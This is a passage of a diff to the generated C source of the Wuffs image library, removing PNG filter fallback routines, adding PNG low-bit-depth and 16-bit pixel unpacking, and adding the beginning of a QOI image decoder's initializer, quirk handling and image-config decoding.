wuffs_base__slice_u8 i_slice_curr = a_curr; +- v_curr.ptr = i_slice_curr.ptr; +- wuffs_base__slice_u8 i_slice_prev = a_prev; +- v_prev.ptr = i_slice_prev.ptr; +- i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); +- v_curr.len = 3; +- v_prev.len = 3; +- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 6) * 6); +- while (v_curr.ptr < i_end0_curr) { +- v_fa0 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa0)) + ((uint32_t)(v_prev.ptr[0u]))) / 2u))) + v_curr.ptr[0u])); +- v_curr.ptr[0u] = v_fa0; +- v_fa1 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa1)) + ((uint32_t)(v_prev.ptr[1u]))) / 2u))) + v_curr.ptr[1u])); +- v_curr.ptr[1u] = v_fa1; +- v_fa2 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa2)) + ((uint32_t)(v_prev.ptr[2u]))) / 2u))) + v_curr.ptr[2u])); +- v_curr.ptr[2u] = v_fa2; +- v_curr.ptr += 3; +- v_prev.ptr += 3; +- v_fa0 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa0)) + ((uint32_t)(v_prev.ptr[0u]))) / 2u))) + v_curr.ptr[0u])); +- v_curr.ptr[0u] = v_fa0; +- v_fa1 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa1)) + ((uint32_t)(v_prev.ptr[1u]))) / 2u))) + v_curr.ptr[1u])); +- v_curr.ptr[1u] = v_fa1; +- v_fa2 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa2)) + ((uint32_t)(v_prev.ptr[2u]))) / 2u))) + v_curr.ptr[2u])); +- v_curr.ptr[2u] = v_fa2; +- v_curr.ptr += 3; +- v_prev.ptr += 3; ++ v_shift = ((uint8_t)(((uint8_t)(8u - self->private_impl.f_depth)) & 7u)); ++ v_packs_remaining = 0u; ++ while (v_x < self->private_impl.f_frame_rect_x1) { ++ v_i = (((uint64_t)(v_x)) * v_dst_bytes_per_pixel); ++ if (v_i <= ((uint64_t)(v_dst.len))) { ++ if ((v_packs_remaining == 0u) && (1u <= ((uint64_t)(v_s.len)))) { ++ v_packs_remaining = WUFFS_PNG__LOW_BIT_DEPTH_NUM_PACKS[self->private_impl.f_depth]; ++ v_bits_packed = v_s.ptr[0u]; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 1u); ++ } ++ v_bits_unpacked[0u] = ((uint8_t)(((uint8_t)(v_bits_packed >> v_shift)) * v_multiplier)); ++ v_bits_packed = ((uint8_t)(v_bits_packed << self->private_impl.f_depth)); ++ v_packs_remaining = ((uint8_t)(v_packs_remaining - 1u)); ++ if (((uint32_t)(self->private_impl.f_remap_transparency)) != 0u) { ++ v_bits_unpacked[1u] = v_bits_unpacked[0u]; ++ v_bits_unpacked[2u] = v_bits_unpacked[0u]; ++ v_bits_unpacked[3u] = 255u; ++ if (((uint32_t)(self->private_impl.f_remap_transparency)) == ((((uint32_t)(v_bits_unpacked[0u])) << 0u) | ++ (((uint32_t)(v_bits_unpacked[1u])) << 8u) | ++ (((uint32_t)(v_bits_unpacked[2u])) << 16u) | ++ (((uint32_t)(v_bits_unpacked[3u])) << 24u))) { ++ v_bits_unpacked[0u] = 0u; ++ v_bits_unpacked[1u] = 0u; ++ v_bits_unpacked[2u] = 0u; ++ v_bits_unpacked[3u] = 0u; ++ } ++ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), v_dst_palette, wuffs_base__make_slice_u8(v_bits_unpacked, 4)); ++ } else { ++ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), v_dst_palette, wuffs_base__make_slice_u8(v_bits_unpacked, 1)); ++ } ++ } ++ v_x += (((uint32_t)(1u)) << WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][0u]); + } +- v_curr.len = 3; +- v_prev.len = 3; +- uint8_t* i_end1_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 3) * 3); +- while (v_curr.ptr < i_end1_curr) { +- v_fa0 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa0)) + ((uint32_t)(v_prev.ptr[0u]))) / 2u))) + v_curr.ptr[0u])); +- v_curr.ptr[0u] = v_fa0; +- v_fa1 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa1)) + ((uint32_t)(v_prev.ptr[1u]))) / 2u))) + v_curr.ptr[1u])); +- v_curr.ptr[1u] = v_fa1; +- v_fa2 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa2)) + ((uint32_t)(v_prev.ptr[2u]))) / 2u))) + v_curr.ptr[2u])); +- v_curr.ptr[2u] = v_fa2; +- v_curr.ptr += 3; +- v_prev.ptr += 3; ++ } else { ++ while (v_x < self->private_impl.f_frame_rect_x1) { ++ v_i = (((uint64_t)(v_x)) * v_dst_bytes_per_pixel); ++ if (v_i <= ((uint64_t)(v_dst.len))) { ++ if (self->private_impl.f_color_type == 0u) { ++ if (2u <= ((uint64_t)(v_s.len))) { ++ v_bits_unpacked[0u] = v_s.ptr[1u]; ++ v_bits_unpacked[1u] = v_s.ptr[0u]; ++ v_bits_unpacked[2u] = v_s.ptr[1u]; ++ v_bits_unpacked[3u] = v_s.ptr[0u]; ++ v_bits_unpacked[4u] = v_s.ptr[1u]; ++ v_bits_unpacked[5u] = v_s.ptr[0u]; ++ v_bits_unpacked[6u] = 255u; ++ v_bits_unpacked[7u] = 255u; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 2u); ++ if (self->private_impl.f_remap_transparency == ((((uint64_t)(v_bits_unpacked[0u])) << 0u) | ++ (((uint64_t)(v_bits_unpacked[1u])) << 8u) | ++ (((uint64_t)(v_bits_unpacked[2u])) << 16u) | ++ (((uint64_t)(v_bits_unpacked[3u])) << 24u) | ++ (((uint64_t)(v_bits_unpacked[4u])) << 32u) | ++ (((uint64_t)(v_bits_unpacked[5u])) << 40u) | ++ (((uint64_t)(v_bits_unpacked[6u])) << 48u) | ++ (((uint64_t)(v_bits_unpacked[7u])) << 56u))) { ++ v_bits_unpacked[0u] = 0u; ++ v_bits_unpacked[1u] = 0u; ++ v_bits_unpacked[2u] = 0u; ++ v_bits_unpacked[3u] = 0u; ++ v_bits_unpacked[4u] = 0u; ++ v_bits_unpacked[5u] = 0u; ++ v_bits_unpacked[6u] = 0u; ++ v_bits_unpacked[7u] = 0u; ++ } ++ } ++ } else if (self->private_impl.f_color_type == 2u) { ++ if (6u <= ((uint64_t)(v_s.len))) { ++ v_bits_unpacked[0u] = v_s.ptr[5u]; ++ v_bits_unpacked[1u] = v_s.ptr[4u]; ++ v_bits_unpacked[2u] = v_s.ptr[3u]; ++ v_bits_unpacked[3u] = v_s.ptr[2u]; ++ v_bits_unpacked[4u] = v_s.ptr[1u]; ++ v_bits_unpacked[5u] = v_s.ptr[0u]; ++ v_bits_unpacked[6u] = 255u; ++ v_bits_unpacked[7u] = 255u; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 6u); ++ if (self->private_impl.f_remap_transparency == ((((uint64_t)(v_bits_unpacked[0u])) << 0u) | ++ (((uint64_t)(v_bits_unpacked[1u])) << 8u) | ++ (((uint64_t)(v_bits_unpacked[2u])) << 16u) | ++ (((uint64_t)(v_bits_unpacked[3u])) << 24u) | ++ (((uint64_t)(v_bits_unpacked[4u])) << 32u) | ++ (((uint64_t)(v_bits_unpacked[5u])) << 40u) | ++ (((uint64_t)(v_bits_unpacked[6u])) << 48u) | ++ (((uint64_t)(v_bits_unpacked[7u])) << 56u))) { ++ v_bits_unpacked[0u] = 0u; ++ v_bits_unpacked[1u] = 0u; ++ v_bits_unpacked[2u] = 0u; ++ v_bits_unpacked[3u] = 0u; ++ v_bits_unpacked[4u] = 0u; ++ v_bits_unpacked[5u] = 0u; ++ v_bits_unpacked[6u] = 0u; ++ v_bits_unpacked[7u] = 0u; ++ } ++ } ++ } else if (self->private_impl.f_color_type == 4u) { ++ if (4u <= ((uint64_t)(v_s.len))) { ++ v_bits_unpacked[0u] = v_s.ptr[1u]; ++ v_bits_unpacked[1u] = v_s.ptr[0u]; ++ v_bits_unpacked[2u] = v_s.ptr[1u]; ++ v_bits_unpacked[3u] = v_s.ptr[0u]; ++ v_bits_unpacked[4u] = v_s.ptr[1u]; ++ v_bits_unpacked[5u] = v_s.ptr[0u]; ++ v_bits_unpacked[6u] = v_s.ptr[3u]; ++ v_bits_unpacked[7u] = v_s.ptr[2u]; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 4u); ++ } ++ } else { ++ if (8u <= ((uint64_t)(v_s.len))) { ++ v_bits_unpacked[0u] = v_s.ptr[5u]; ++ v_bits_unpacked[1u] = v_s.ptr[4u]; ++ v_bits_unpacked[2u] = v_s.ptr[3u]; ++ v_bits_unpacked[3u] = v_s.ptr[2u]; ++ v_bits_unpacked[4u] = v_s.ptr[1u]; ++ v_bits_unpacked[5u] = v_s.ptr[0u]; ++ v_bits_unpacked[6u] = v_s.ptr[7u]; ++ v_bits_unpacked[7u] = v_s.ptr[6u]; ++ v_s = wuffs_base__slice_u8__subslice_i(v_s, 8u); ++ } ++ } ++ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), v_dst_palette, wuffs_base__make_slice_u8(v_bits_unpacked, 8)); ++ } ++ v_x += (((uint32_t)(1u)) << WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][0u]); + } +- v_curr.len = 0; +- v_prev.len = 0; + } ++ v_prev_row = v_curr_row; ++ v_y += (((uint32_t)(1u)) << WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][3u]); + } +- return wuffs_base__make_empty_struct(); ++ return wuffs_base__make_status(NULL); + } + +-// -------- func png.decoder.filter_3_distance_4_fallback ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__PNG) ++ ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__QOI) ++ ++// ---------------- Status Codes Implementations ++ ++const char wuffs_qoi__error__bad_footer[] = "#qoi: bad footer"; ++const char wuffs_qoi__error__bad_header[] = "#qoi: bad header"; ++const char wuffs_qoi__error__truncated_input[] = "#qoi: truncated input"; ++ ++// ---------------- Private Consts ++ ++// ---------------- Private Initializer Prototypes ++ ++// ---------------- Private Function Prototypes + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_3_distance_4_fallback( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev) { +- wuffs_base__slice_u8 v_curr = {0}; +- wuffs_base__slice_u8 v_prev = {0}; +- uint8_t v_fa0 = 0; +- uint8_t v_fa1 = 0; +- uint8_t v_fa2 = 0; +- uint8_t v_fa3 = 0; ++static wuffs_base__status ++wuffs_qoi__decoder__do_decode_image_config( ++ wuffs_qoi__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_qoi__decoder__do_decode_frame_config( ++ wuffs_qoi__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_qoi__decoder__do_decode_frame( ++ wuffs_qoi__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_qoi__decoder__from_src_to_buffer( ++ wuffs_qoi__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_qoi__decoder__from_buffer_to_dst( ++ wuffs_qoi__decoder* self, ++ wuffs_base__pixel_buffer* a_dst); ++ ++// ---------------- VTables ++ ++const wuffs_base__image_decoder__func_ptrs ++wuffs_qoi__decoder__func_ptrs_for__wuffs_base__image_decoder = { ++ (wuffs_base__status(*)(void*, ++ wuffs_base__pixel_buffer*, ++ wuffs_base__io_buffer*, ++ wuffs_base__pixel_blend, ++ wuffs_base__slice_u8, ++ wuffs_base__decode_frame_options*))(&wuffs_qoi__decoder__decode_frame), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__frame_config*, ++ wuffs_base__io_buffer*))(&wuffs_qoi__decoder__decode_frame_config), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__image_config*, ++ wuffs_base__io_buffer*))(&wuffs_qoi__decoder__decode_image_config), ++ (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_qoi__decoder__frame_dirty_rect), ++ (uint64_t(*)(const void*, ++ uint32_t))(&wuffs_qoi__decoder__get_quirk), ++ (uint32_t(*)(const void*))(&wuffs_qoi__decoder__num_animation_loops), ++ (uint64_t(*)(const void*))(&wuffs_qoi__decoder__num_decoded_frame_configs), ++ (uint64_t(*)(const void*))(&wuffs_qoi__decoder__num_decoded_frames), ++ (wuffs_base__status(*)(void*, ++ uint64_t, ++ uint64_t))(&wuffs_qoi__decoder__restart_frame), ++ (wuffs_base__status(*)(void*, ++ uint32_t, ++ uint64_t))(&wuffs_qoi__decoder__set_quirk), ++ (wuffs_base__empty_struct(*)(void*, ++ uint32_t, ++ bool))(&wuffs_qoi__decoder__set_report_metadata), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__io_buffer*, ++ wuffs_base__more_information*, ++ wuffs_base__io_buffer*))(&wuffs_qoi__decoder__tell_me_more), ++ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_qoi__decoder__workbuf_len), ++}; ++ ++// ---------------- Initializer Implementations ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_qoi__decoder__initialize( ++ wuffs_qoi__decoder* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options){ ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (sizeof(*self) != sizeof_star_self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ } ++ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || ++ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); ++ } + +- if (((uint64_t)(a_prev.len)) == 0u) { +- { +- wuffs_base__slice_u8 i_slice_curr = a_curr; +- v_curr.ptr = i_slice_curr.ptr; +- v_curr.len = 4; +- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4); +- while (v_curr.ptr < i_end0_curr) { +- v_fa0 = ((uint8_t)((v_fa0 / 2u) + v_curr.ptr[0u])); +- v_curr.ptr[0u] = v_fa0; +- v_fa1 = ((uint8_t)((v_fa1 / 2u) + v_curr.ptr[1u])); +- v_curr.ptr[1u] = v_fa1; +- v_fa2 = ((uint8_t)((v_fa2 / 2u) + v_curr.ptr[2u])); +- v_curr.ptr[2u] = v_fa2; +- v_fa3 = ((uint8_t)((v_fa3 / 2u) + v_curr.ptr[3u])); +- v_curr.ptr[3u] = v_fa3; +- v_curr.ptr += 4; +- } +- v_curr.len = 0; ++ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { ++ // The whole point of this if-check is to detect an uninitialized *self. ++ // We disable the warning on GCC. Clang-5.0 does not have this warning. ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" ++#endif ++ if (self->private_impl.magic != 0) { ++ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); + } ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif + } else { +- { +- wuffs_base__slice_u8 i_slice_curr = a_curr; +- v_curr.ptr = i_slice_curr.ptr; +- wuffs_base__slice_u8 i_slice_prev = a_prev; +- v_prev.ptr = i_slice_prev.ptr; +- i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); +- v_curr.len = 4; +- v_prev.len = 4; +- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4); +- while (v_curr.ptr < i_end0_curr) { +- v_fa0 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa0)) + ((uint32_t)(v_prev.ptr[0u]))) / 2u))) + v_curr.ptr[0u])); +- v_curr.ptr[0u] = v_fa0; +- v_fa1 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa1)) + ((uint32_t)(v_prev.ptr[1u]))) / 2u))) + v_curr.ptr[1u])); +- v_curr.ptr[1u] = v_fa1; +- v_fa2 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa2)) + ((uint32_t)(v_prev.ptr[2u]))) / 2u))) + v_curr.ptr[2u])); +- v_curr.ptr[2u] = v_fa2; +- v_fa3 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa3)) + ((uint32_t)(v_prev.ptr[3u]))) / 2u))) + v_curr.ptr[3u])); +- v_curr.ptr[3u] = v_fa3; +- v_curr.ptr += 4; +- v_prev.ptr += 4; +- } +- v_curr.len = 0; +- v_prev.len = 0; ++ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { ++ memset(self, 0, sizeof(*self)); ++ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; ++ } else { ++ memset(&(self->private_impl), 0, sizeof(self->private_impl)); + } + } +- return wuffs_base__make_empty_struct(); ++ ++ self->private_impl.magic = WUFFS_BASE__MAGIC; ++ self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = ++ wuffs_base__image_decoder__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = ++ (const void*)(&wuffs_qoi__decoder__func_ptrs_for__wuffs_base__image_decoder); ++ return wuffs_base__make_status(NULL); + } + +-// -------- func png.decoder.filter_4 ++wuffs_qoi__decoder* ++wuffs_qoi__decoder__alloc(void) { ++ wuffs_qoi__decoder* x = ++ (wuffs_qoi__decoder*)(calloc(1, sizeof(wuffs_qoi__decoder))); ++ if (!x) { ++ return NULL; ++ } ++ if (wuffs_qoi__decoder__initialize( ++ x, sizeof(wuffs_qoi__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ free(x); ++ return NULL; ++ } ++ return x; ++} + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_4( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev) { +- return (*self->private_impl.choosy_filter_4)(self, a_curr, a_prev); ++size_t ++sizeof__wuffs_qoi__decoder(void) { ++ return sizeof(wuffs_qoi__decoder); + } + ++// ---------------- Function Implementations ++ ++// -------- func qoi.decoder.get_quirk ++ + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_4__choosy_default( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev) { +- uint64_t v_filter_distance = 0; +- uint64_t v_n = 0; +- uint64_t v_i = 0; +- uint32_t v_fa = 0; +- uint32_t v_fb = 0; +- uint32_t v_fc = 0; +- uint32_t v_pp = 0; +- uint32_t v_pa = 0; +- uint32_t v_pb = 0; +- uint32_t v_pc = 0; ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_qoi__decoder__get_quirk( ++ const wuffs_qoi__decoder* self, ++ uint32_t a_key) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } + +- v_filter_distance = ((uint64_t)(self->private_impl.f_filter_distance)); +- v_n = wuffs_base__u64__min(((uint64_t)(a_curr.len)), ((uint64_t)(a_prev.len))); +- v_i = 0u; +- while ((v_i < v_n) && (v_i < v_filter_distance)) { +- a_curr.ptr[v_i] = ((uint8_t)(a_curr.ptr[v_i] + a_prev.ptr[v_i])); +- v_i += 1u; ++ return 0u; ++} ++ ++// -------- func qoi.decoder.set_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_qoi__decoder__set_quirk( ++ wuffs_qoi__decoder* self, ++ uint32_t a_key, ++ uint64_t a_value) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } +- v_i = v_filter_distance; +- while (v_i < v_n) { +- v_fa = ((uint32_t)(a_curr.ptr[(v_i - v_filter_distance)])); +- v_fb = ((uint32_t)(a_prev.ptr[v_i])); +- v_fc = ((uint32_t)(a_prev.ptr[(v_i - v_filter_distance)])); +- v_pp = ((uint32_t)(((uint32_t)(v_fa + v_fb)) - v_fc)); +- v_pa = ((uint32_t)(v_pp - v_fa)); +- if (v_pa >= 2147483648u) { +- v_pa = ((uint32_t)(0u - v_pa)); +- } +- v_pb = ((uint32_t)(v_pp - v_fb)); +- if (v_pb >= 2147483648u) { +- v_pb = ((uint32_t)(0u - v_pb)); +- } +- v_pc = ((uint32_t)(v_pp - v_fc)); +- if (v_pc >= 2147483648u) { +- v_pc = ((uint32_t)(0u - v_pc)); +- } +- if ((v_pa <= v_pb) && (v_pa <= v_pc)) { +- } else if (v_pb <= v_pc) { +- v_fa = v_fb; +- } else { +- v_fa = v_fc; +- } +- a_curr.ptr[v_i] = ((uint8_t)(a_curr.ptr[v_i] + ((uint8_t)(v_fa)))); +- v_i += 1u; ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); + } +- return wuffs_base__make_empty_struct(); ++ ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); + } + +-// -------- func png.decoder.filter_4_distance_3_fallback ++// -------- func qoi.decoder.decode_image_config + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_4_distance_3_fallback( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev) { +- wuffs_base__slice_u8 v_curr = {0}; +- wuffs_base__slice_u8 v_prev = {0}; +- uint32_t v_fa0 = 0; +- uint32_t v_fa1 = 0; +- uint32_t v_fa2 = 0; +- uint32_t v_fb0 = 0; +- uint32_t v_fb1 = 0; +- uint32_t v_fb2 = 0; +- uint32_t v_fc0 = 0; +- uint32_t v_fc1 = 0; +- uint32_t v_fc2 = 0; +- uint32_t v_pp0 = 0; +- uint32_t v_pp1 = 0; +- uint32_t v_pp2 = 0; +- uint32_t v_pa0 = 0; +- uint32_t v_pa1 = 0; +- uint32_t v_pa2 = 0; +- uint32_t v_pb0 = 0; +- uint32_t v_pb1 = 0; +- uint32_t v_pb2 = 0; +- uint32_t v_pc0 = 0; +- uint32_t v_pc1 = 0; +- uint32_t v_pc2 = 0; ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_qoi__decoder__decode_image_config( ++ wuffs_qoi__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 1)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +- { +- wuffs_base__slice_u8 i_slice_curr = a_curr; +- v_curr.ptr = i_slice_curr.ptr; +- wuffs_base__slice_u8 i_slice_prev = a_prev; +- v_prev.ptr = i_slice_prev.ptr; +- i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); +- v_curr.len = 3; +- v_prev.len = 3; +- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 3) * 3); +- while (v_curr.ptr < i_end0_curr) { +- v_fb0 = ((uint32_t)(v_prev.ptr[0u])); +- v_pp0 = ((uint32_t)(((uint32_t)(v_fa0 + v_fb0)) - v_fc0)); +- v_pa0 = ((uint32_t)(v_pp0 - v_fa0)); +- if (v_pa0 >= 2147483648u) { +- v_pa0 = ((uint32_t)(0u - v_pa0)); +- } +- v_pb0 = ((uint32_t)(v_pp0 - v_fb0)); +- if (v_pb0 >= 2147483648u) { +- v_pb0 = ((uint32_t)(0u - v_pb0)); +- } +- v_pc0 = ((uint32_t)(v_pp0 - v_fc0)); +- if (v_pc0 >= 2147483648u) { +- v_pc0 = ((uint32_t)(0u - v_pc0)); +- } +- if ((v_pa0 <= v_pb0) && (v_pa0 <= v_pc0)) { +- } else if (v_pb0 <= v_pc0) { +- v_fa0 = v_fb0; +- } else { +- v_fa0 = v_fc0; +- } +- v_curr.ptr[0u] = ((uint8_t)(v_curr.ptr[0u] + ((uint8_t)(v_fa0)))); +- v_fa0 = ((uint32_t)(v_curr.ptr[0u])); +- v_fc0 = v_fb0; +- v_fb1 = ((uint32_t)(v_prev.ptr[1u])); +- v_pp1 = ((uint32_t)(((uint32_t)(v_fa1 + v_fb1)) - v_fc1)); +- v_pa1 = ((uint32_t)(v_pp1 - v_fa1)); +- if (v_pa1 >= 2147483648u) { +- v_pa1 = ((uint32_t)(0u - v_pa1)); +- } +- v_pb1 = ((uint32_t)(v_pp1 - v_fb1)); +- if (v_pb1 >= 2147483648u) { +- v_pb1 = ((uint32_t)(0u - v_pb1)); +- } +- v_pc1 = ((uint32_t)(v_pp1 - v_fc1)); +- if (v_pc1 >= 2147483648u) { +- v_pc1 = ((uint32_t)(0u - v_pc1)); +- } +- if ((v_pa1 <= v_pb1) && (v_pa1 <= v_pc1)) { +- } else if (v_pb1 <= v_pc1) { +- v_fa1 = v_fb1; +- } else { +- v_fa1 = v_fc1; +- } +- v_curr.ptr[1u] = ((uint8_t)(v_curr.ptr[1u] + ((uint8_t)(v_fa1)))); +- v_fa1 = ((uint32_t)(v_curr.ptr[1u])); +- v_fc1 = v_fb1; +- v_fb2 = ((uint32_t)(v_prev.ptr[2u])); +- v_pp2 = ((uint32_t)(((uint32_t)(v_fa2 + v_fb2)) - v_fc2)); +- v_pa2 = ((uint32_t)(v_pp2 - v_fa2)); +- if (v_pa2 >= 2147483648u) { +- v_pa2 = ((uint32_t)(0u - v_pa2)); +- } +- v_pb2 = ((uint32_t)(v_pp2 - v_fb2)); +- if (v_pb2 >= 2147483648u) { +- v_pb2 = ((uint32_t)(0u - v_pb2)); +- } +- v_pc2 = ((uint32_t)(v_pp2 - v_fc2)); +- if (v_pc2 >= 2147483648u) { +- v_pc2 = ((uint32_t)(0u - v_pc2)); ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_image_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_qoi__decoder__do_decode_image_config(self, a_dst, a_src); ++ v_status = t_0; + } +- if ((v_pa2 <= v_pb2) && (v_pa2 <= v_pc2)) { +- } else if (v_pb2 <= v_pc2) { +- v_fa2 = v_fb2; +- } else { +- v_fa2 = v_fc2; ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_qoi__error__truncated_input); ++ goto exit; + } +- v_curr.ptr[2u] = ((uint8_t)(v_curr.ptr[2u] + ((uint8_t)(v_fa2)))); +- v_fa2 = ((uint32_t)(v_curr.ptr[2u])); +- v_fc2 = v_fb2; +- v_curr.ptr += 3; +- v_prev.ptr += 3; ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); + } +- v_curr.len = 0; +- v_prev.len = 0; ++ ++ ok: ++ self->private_impl.p_decode_image_config = 0; ++ goto exit; + } +- return wuffs_base__make_empty_struct(); ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; ++ ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = 